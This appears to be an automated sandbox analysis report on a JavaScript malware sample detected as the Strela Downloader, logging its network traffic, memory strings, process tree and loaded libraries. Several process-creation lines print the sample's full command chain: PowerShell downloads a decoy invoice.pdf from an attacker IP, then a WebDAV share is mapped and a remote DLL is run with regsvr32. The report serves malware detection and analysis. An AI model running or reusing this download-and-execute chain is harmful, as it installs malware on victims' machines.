Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2158165711.00000265ADDCB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2158165711.00000265ADDC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2158247740.00000265ADDD1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155981207.00000265ADDBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2218878516.0000019BBA898000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2218878516.0000019BBA868000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2218878516.0000019BBA8BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2218878516.0000019BBA898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/k
Source: net.exe, 00000007.00000002.2218878516.0000019BBA898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/w
Source: svchost.exe, 00000009.00000002.3456713035.0000025A68C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2250291978.0000025A68AE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4148, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 137112093815427392.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@32/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaarorhf.14i.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1528,i,15769957039004257077,3334261649853575998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1528,i,15769957039004257077,3334261649853575998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
